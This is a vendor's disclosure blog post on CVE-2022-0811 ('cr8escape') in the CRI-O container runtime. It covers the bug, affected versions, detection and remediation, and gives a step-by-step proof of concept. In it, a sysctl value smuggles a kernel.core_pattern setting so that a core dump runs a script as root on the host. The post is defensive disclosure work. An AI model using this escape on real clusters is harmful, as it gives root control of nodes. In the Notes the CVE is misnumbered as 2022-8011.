cr8escape: New Vulnerability in CRI-O Container Engine Discovered by CrowdStrike (CVE-2022-0811)

Kubernetes and CRI-O release patch for vulnerability today; CrowdStrike customers protected

March 15, 2022

John Walker - Manoj Ahuje Endpoint & Cloud Security

- CrowdStrike cloud security researchers discovered a new vulnerability (dubbed “cr8escape” and tracked as CVE-2022-0811) in the Kubernetes container engine CRI-O.
- CrowdStrike disclosed the vulnerability to Kubernetes, which worked with CRI-O to issue a patch that was released today.
- It is recommended that CRI-O users patch immediately.
- CrowdStrike customers are protected from this threat by the Falcon® sensor for Linux or the Falcon Cloud Workload Protection module.

Summary

CrowdStrike’s Cloud Threat Research team discovered a new vulnerability (CVE-2022-0811) in CRI-O (a container runtime engine underpinning Kubernetes). Dubbed “cr8escape,” when invoked, an attacker could escape from a Kubernetes container and gain root access to the host and be able to move anywhere in the cluster. Invocation of CVE-2022-0811 can allow an attacker to perform a variety of actions on objectives, including execution of malware, exfiltration of data and lateral movement across pods.

Attempted exploits of this vulnerability can be detected by the Falcon sensor for Linux or the Falcon Cloud Workload Protection module. CrowdStrike disclosed the vulnerability to Kubernetes, which worked with CRI-O to issue a patch that was released today. The CVE score is 8.8 (High) and the potential impact is widespread, as many software and platforms use CRI-O by default. It is recommended that CRI-O users patch immediately. CrowdStrike customers can use Falcon Spotlight™ vulnerability management to see which hosts are affected and patch where recommended to aid against exploitation.

Kubernetes uses a container runtime like CRI-O or Docker to safely share each node’s kernel and resources with the various containerized applications running on it. The Linux kernel accepts runtime parameters that control its behavior. Some parameters are namespaced and can therefore be set in a single container without impacting the system at large. Kubernetes and the container runtimes it drives allow pods to update these “safe” kernel settings while blocking access to others.

CrowdStrike’s Cloud Threat Research team discovered a flaw introduced in CRI-O version 1.19 that allows an attacker to bypass these safeguards and set arbitrary kernel parameters on the host. As a result of CVE-2022-0811, anyone with rights to deploy a pod on a Kubernetes cluster that uses the CRI-O runtime can abuse the “kernel.core_pattern” parameter to achieve container escape and arbitrary code execution as root on any node in the cluster.

Impact

Directly Affected Software

- CRI-O version 1.19+

To determine if a host is affected: `run crio —version`

Indirectly Affected Software and Platforms

While the vulnerability is in CRI-O, software and platforms that depend on it are also likely to be vulnerable, including:

- OpenShift 4+
- Oracle Container Engine for Kubernetes

Detection

The CrowdStrike Falcon sensor included in the CrowdStrike Falcon Cloud Workload Protection module, which protects Kubernetes and containers, will detect attempts to exploit CVE-2022-0811 as privilege escalation. The Falcon sensor for Linux is able to see the pinns utility command execution and detect and prevent this behavior during runtime.

(Click to enlarge)

Indicator of Misconfiguration

The CrowdStrike Falcon Cloud Workload Protection module also includes a Kubernetes Protection Agent that scans all workload resource specs on the clusters and transmits it to the CrowdStrike Security Cloud for any misconfiguration analysis. Any discovered misconfiguration results in a detection that is displayed in Cloud Security > Kubernetes And Containers > Investigate. This module is helpful in scanning all of the existing running workloads on clusters that may have been already running with a bad sysctl value.

(Click to enlarge)

Remediation

At the Kubernetes level:

- Ideal: Use policies to block pods that contain sysctl settings with "+" or "=" in their value.
- Less ideal alternative: Use the PodSecurityPolicy forbiddenSysctls field to block all sysctls (it's necessary to block all sysctls as the malicious setting is smuggled in a value).

At the CRI-O level:

- Upgrade to a patched version of CRI-O.
- Set pinns_path in crio.conf to point to a pinns wrapper that strips the "-s" option before invoking the real pinns. This will prevent pods from updating any kernel parameters, including sensitive ones.
  - Pinns, typically found at /usr/bin/pinns, is the utility CRI-O uses to set kernel parameters.
- Downgrade to CRI-O version 1.18 or earlier. (Not recommended in most cases.)

Vulnerability Details

Starting with this commit, CRI-O uses the pinns utility to set kernel options for a pod. Pinns is most commonly invoked like this: `pinns -s kernel_parameter1=value1+kernel_parameter2=value2` Due to the addition of sysctl support in version 1.19, pinns will now blindly set any kernel parameters it's passed without validation.

The following function converts the map of sysctl settings passed to CRI-O into a pinns argument. Like pinns, it does not validate the settings.

```
func getSysctlForPinns(sysctls map[string]string) string { // this assumes there's no sysctl with a `+` in it const pinnsSysctlDelim = "+" g := new(bytes.Buffer) for key, value := range sysctls { fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim) } return strings.TrimSuffix(g.String(), pinnsSysctlDelim) }
```

Validation does occur before this function is invoked. However, note that the value is not checked or sanitized. As long as the sysctl key is valid, it will be processed as is.

```
func (s *Sysctl) Validate(hostNet, hostIPC bool) error { nsErrorFmt := "%q not allowed with host %s enabled" if ns, found := namespaces[s.Key()]; found { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } for p, ns := range prefixNamespaces { if strings.HasPrefix(s.Key(), p) { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } if ns == NetNamespace && hostNet { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } } return errors.Errorf("%s not whitelisted", s.Key()) }
```

The result: A malicious user can pass in sysctl values with + and = characters allowing extra kernel settings to be set through pinns.

Proof of Concept: Leveraging CVE-2022-0811 to Compromise Kubernetes

Overview

This proof of concept (POC) uses a malicious PodSpec to set the kernel.core_pattern kernel parameter, which specifies how the kernel should react to a core dump. In this case, we'll tell it to execute a binary hosted in another pod. That binary will be run as root outside of any container. Finally, we'll trigger a core dump causing the kernel to invoke the malicious executable.

Reproduction Environment for POC

- Minikube cluster created via `minikube start --kubernetes-version=v1.23.3 --driver=vmware --container-runtime=crio` running:
  - Kubernetes v1.23.3
  - CRI-O 1.22.0 (Later versions are vulnerable as well; this just happens to be the version of CRI-O Minikube installs.)

Steps

Startup Pod to Host Malicious Executable

This pod will host an executable that the kernel will invoke after a core dump. It will also be used to trigger a core dump.

```
❯ cat ./malicious-script-host.yaml apiVersion: v1 kind: Pod metadata: name: malicious-script-host spec:
containers: - name: alpine image: alpine:latest command: ["tail", "-f", "/dev/null"] ❯ kubectl create -f ./
malicious-script-host.yaml pod/malicious-script-host created
```

Determine Root Path From Host Mount Namespace

Ultimately the kernel will be invoking a script in this pod in response to a core dump. The kernel will be acting in the host mount namespace, so we need to determine the path to the container filesystem from this namespace.

```
❯ kubectl exec -it malicious-script-host -- /bin/sh / # mount overlay on / type overlay
(rw,relatime,lowerdir=/var/lib/containers/storage/overlay/l/VSOA5NIR3Y3ACHBH662FOSL4J2,upperdir=/var/lib/
containers/storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/diff,workdir=/
var/lib/containers/storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/work) …
```

/var/lib/containers/storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/diff is the path to the root of the container from the perspective of the kernel.

Create a Malicious Script to Invoke on Core Dump

Within our malicious script host pod:

```
/ # ls -l /malicious.sh -rwxr-xr-x 1 root root 256 Feb 23 14:00 /malicious.sh / # cat /malicious.sh #!/bin/
sh date >> /var/lib/containers/storage/overlay/
3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/diff/output whoami >> /var/lib/containers/
storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/diff/output hostname >> /
var/lib/containers/storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/diff/
output # important - ensures file is readable within container / # touch /output / # cat /output
```

We now have a malicious script setup and we know its path in the host mount namespace.

Use Second Pod to Point Core Pattern to Malicious Script

Next is our attempt to create a second pod. Creation will stall, but as a result of the attempt, CRI-O daemon will update the value of the kernel.core_pattern setting, which controls what the kernel does in response to core dumps. In this case, we'll tell the kernel to send the core dump to our malicious script.

NOTE: You must ensure this pod runs on the same node as the malicious script pod. There are multiple ways to do this depending on the exact cluster setup. A primitive, brute force method is to spin it up as a daemonset, which will update core_pattern for every node in the cluster.

```
❯cat ./sysctl-set.yaml apiVersion: v1 kind: Pod metadata: name: sysctl-set spec: securityContext: sysctls: - name: kernel.shm_rmid_forced value: "1+kernel.core_pattern=|/var/lib/containers/storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/diff/malicious.sh #" containers: - name: alpine image: alpine:latest command: ["tail", "-f", "/dev/null"] ❯kubectl create -f ./sysctl-set.yaml pod/sysctl-set created ❯kubectl get pods NAME READY STATUS RESTARTS AGE malicious-script-host 1/1 Running 0 14m sysctl-set 0/1 ContainerCreating 0 68s ❯kubectl exec -it malicious-script-host -- /bin/sh / # cat /proc/sys/kernel/core_pattern |/var/lib/containers/storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/diff/malicious.sh #'
```

While the sysctl-set pod did not start, it successfully updated the node-wide core_pattern to point into our malicious-script-host container.

This works because both Kubernetes and CRI-O sysctl validation logic believe the user is updating only the safe kernel parameter "kernel.shm_rmid_forced." When CRI-O actually applies this setting, though, its parser will expand it into two kernel parameter updates:

kernel.shm_rmid_forced=1 kernel.core_pattern=|<path to malicious script> #'

This second option has not been validated or sanitized in any way. (NOTE: The trailing # is to ignore the single quote CRI-O adds to the end of the value.)

Trigger Core Dump

We need to trigger a core dump to cause the kernel to execute our malicious core dump handler.

First enable core dumps:

```
❯kubectl exec -it malicious-script-host -- /bin/sh / # ulimit -c unlimited / # ulimit -c unlimited
```

Now trigger one:

```
/ # tail -f /dev/null & / # ps PID USER TIME COMMAND 1 root 0:00 tail -f /dev/null 34 root 0:00 /bin/sh 42 root 0:00 tail -f /dev/null 43 root 0:00 ps / # kill -SIGSEGV 42 / # [1]+ Segmentation fault (core dumped) tail -f /dev/null
```

Verify Malicious Script Ran

```
❯kubectl exec -it malicious-script-host -- /bin/sh / # cat /output Wed Feb 23 14:20:07 UTC 2022 root minikube
```

This script was invoked by the kernel outside of the container namespace with root privileges. A real attacker could, as an example, run a reverse shell and gain full control of the node.

Notes

Kubernetes is not necessary to invoke CVE-2022-8011. An attacker on a machine with CRI-O installed can use it to set kernel parameters all by itself. We used Kubernetes in this POC to better illustrate the potential impact of the problem and to more closely simulate how this would likely be used in the wild.

Additional Resources

- Read more about how to block vulnerabilities before they're exploited: How to Protect Cloud Workloads from Zero-day Vulnerabilities
- Learn how CrowdStrike Falcon Cloud Workload Protection provides robust protection for applications that run in the cloud and enables organizations to build, run and secure cloud-native applications with speed and confidence.
- Learn about the powerful, cloud-native CrowdStrike Falcon® platform by visiting the product webpage.
- Get a full-featured free trial of CrowdStrike Falcon Prevent™ to see for yourself how true next-gen AV performs against today's most sophisticated threats.

- See if a managed solution is right for you. Find out about Falcon Cloud Workload Protection Complete: Managed Detection and Response for Cloud Workloads.
- For more resources of CVE-2022-8011 “cr8escape” from CrowdStrike, customers may access the tracking page in the Support Portal.
- Review our Prevention Policy Best Practices in the Support Portal.

Related Content